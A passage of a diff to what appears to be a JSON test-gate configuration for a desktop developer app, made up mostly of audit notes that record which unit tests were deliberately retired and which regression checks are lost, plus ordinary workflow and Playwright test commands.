validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Require both existing named browser placement scenarios to pass three times with one attempt, zero skips, zero failures, and no report errors.",
       "commands": [
         "gh workflow run packaged-browser-e2e.yml",
         "pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1 --repeat-each=3 --retries=0",
@@ -14474,6 +14172,7 @@
         "Collect repeated scheduled history before making this required."
       ],
       "knownGaps": [
+        "Launch direct-owner cleanup current scope: This gate’s unfiltered unit command now selects a suite reduced by 82 whole registrations  / 159 potential table examples in 10 whole test Programs, including 8 registrations / 15 examples from five once-registered create-message factory closures. Lost alarms include frozen first-message/options and legacy-host fallback; distinct actions and redelivery; uncertain/refused/reloaded input custody, Retry and late proof; rich prompt/attachment upload Stop/close and handback; ordinary draft/editor/IME/StrictMode lifetime and accepted topology; provisional fallback tab placement/group/pin/order and rich worktree handoff. Four whole consent/resume-identity cases remain in two Programs; they do not replace these alarms. This entry governs current reduced-unit scope and qualifies any broader implication of unchanged oracle/coverageNotes history. Entire dated evidenceRuns, original commands/currentCommand values, counts/results and existing history retain their original scopes only; no fresh execution, transferred pass, replacement equivalence or prior upstream-removal credit is claimed.",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: src/main/persistence/worktree-sort-order-write.test.ts: re-ranks every writable row when a blocked row sits in the requested order. src/main/runtime/construction/orca-runtime.test.ts: remove only literal registration import/call pairs await import('../orca-runtime-tests/worktree-setup-and-startup.spec'), await import('../orca-runtime-tests/gitlab-and-pr-bases.spec'); no additional authored credit. src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts: routes tab switch and capture start by explicit page id; accepts focus on tab switch without altering bridge args (focus is main-side concern); keeps terminal cwd resolution fail-soft when the provider is unavailable. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts: drops the bounded scan cache when orphan-cleanup removal completes; clears optimistic reconcile tokens when a CLI worktree removal succeeds; emits drift without mutating when the fetched base fast-forwards created HEAD; emits base_changed without mutation when the fetched base rewrote history; skips stale-token reconciles without mutating or emitting stale status; emits unknown without mutation when fetch fails or the base ref is missing. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts: routes runtime preserved-branch force-delete through the selected WSL project runtime; replies to a waiting client with the error of a delete that fails after acceptance; treats forced runtime deletion of an already-missing unregistered worktree as cleanup; treats normal runtime deletion of an already-missing unregistered worktree as cleanup. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts: warns that a missing-repo removal only forgot the workspace; restores runtime watchers when CLI worktree deletion fails after teardown; does not re-spend the drain budget on a removal after a wedged install was abandoned; routes runtime worktree removal through the selected WSL project runtime; force-deletes a branch that was preserved by runtime worktree removal. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts: records GitLab pasted-project recents only after successful runtime lookup; threads explicit origin preference through runtime WSL PR base resolution; resolves local GitLab fork MR bases from the target project MR head ref; captures the fork MR head from a dedicated ref, not the shared FETCH_HEAD; keeps the durable MR head when the head fetch fails but the local ref resolves; routes runtime GitLab fork MR base git calls through the selected WSL project runtime. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts: passes SSH connection ids through GitLab task operations; routes runtime GitLab issue, MR, work-item, and todo actions through the selected WSL project runtime; routes runtime GitLab MR details, review-management, job, and pasted URL actions through the selected WSL project runtime; normalizes runtime GitLab issue list arguments like the desktop IPC path. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts: does not warn when setup is explicitly skipped for CLI-created worktrees; puts the agent a create starts in the first default tab, as the window does; keeps the 8s main-runtime startup readiness budget for agents without an override; gives OpenCode the 20s main-runtime startup readiness budget; launches explicit startup agents with prompts for CLI-created worktrees. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts: returns a setup launch payload for CLI-created worktrees when hooks are explicitly enabled; does not hand the window a setup main never tried to start; passes the selected Windows setup shell into runtime runner generation; follows normal setup policy for CLI-created worktrees without activating them; uses returned WSL setup shell metadata when runtime spawns setup; uses the shell-aware setup runner for windowless creates without a startup command; reports the in-process setup hook as running when nothing can launch the runner. src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts: coalesces two clients sleeping the same host worktree; stops exactly the expected live PTYs for a worktree; explains a refused workspace close instead of throwing the raw refusal enum. src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts: marks the desktop-active worktree as isActive; includes SSH-backed worktrees in the mobile worktree summary; caches repeated malformed path misses before normalizing them again. src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts: keeps title-only foreground work ahead of monitoring in another pane; keeps a local hook row while a connected PTY still backs its pane; keeps an OSC row via its connected PTY after the pane binding is cleared. src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts: resolves files through a source-visible linked-checkout worktree; marks saved session tabs with live PTYs as host sidebar activity; attributes live legacy PTYs from saved layout bindings when their panes are hidden; marks saved browser tabs as host sidebar activity like desktop; falls back to the path-keyed GitHub cache entry; includes folder workspaces in compact worktree summaries for mobile; attaches inline agent rows from the latest OSC 9999 status; projects monitoring over a title-derived working status. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts: pushes to an idle pane when the only live waiter filters out the message type; resolves a registered waiter without PTY-injecting when the leaf is already idle; keeps already-idle status after tui-idle wait for immediate message delivery; resolves message waiters when notifyMessageArrived is called; does not resolve type-filtered message waiters for unrelated message types; removes message waiter abort listeners after message arrival; resolves message waiters on timeout when no message arrives. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts: delivers pending mail via notifyMessageArrived when the recipient is already idle; does not keep retrying when every pending row was already pointed; repoints pending rows restored with a live-idle coordinator. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts: rolls back a half-created terminal whose surface never publishes. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts: rejects startup prompts for agents that require post-ready stdin; uses portable Unix quoting for mobile agent launch commands in WSL project runtimes; keeps PowerShell quoting for mobile agent launch commands in Windows host runtimes; uses cmd.exe quoting for mobile agent launch commands in local Windows host runtimes; publishes headless mobile session agent identity with synthesized PTY status; rejects disabled mobile session agent launches before spawning; validates mobile terminal insertion anchors before resolving agent launch commands. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts: coalesces a reconnect close burst onto one authoritative PTY inventory; keeps an explicit user close destructive while the PTY is live; builds mobile session agent launch commands on the runtime host; injects mobile quick-command prompts into the host-built agent startup command. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts: closes persisted headless terminal parents before any prior list call; tears down a serve-owned headless tab on close while a renderer is attached so it cannot resurrect; defers a renderer-published pending tab to the renderer instead of tearing it down; returns a delegated close outcome with no selection tombstone when the renderer owns the outcome; tears down a runtime pending shell the renderer never adopted on close. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts: materializes a plain shell when the pending tab has no launch agent; hydrates legacy persisted terminal tabs without layout entries; reads and indexes the full agent-status snapshot once per mobile projection; kills persisted SSH PTYs when closing hydrated headless tabs before pane metadata is restored; materializes hydrated pending headless terminals with the persisted session identity. 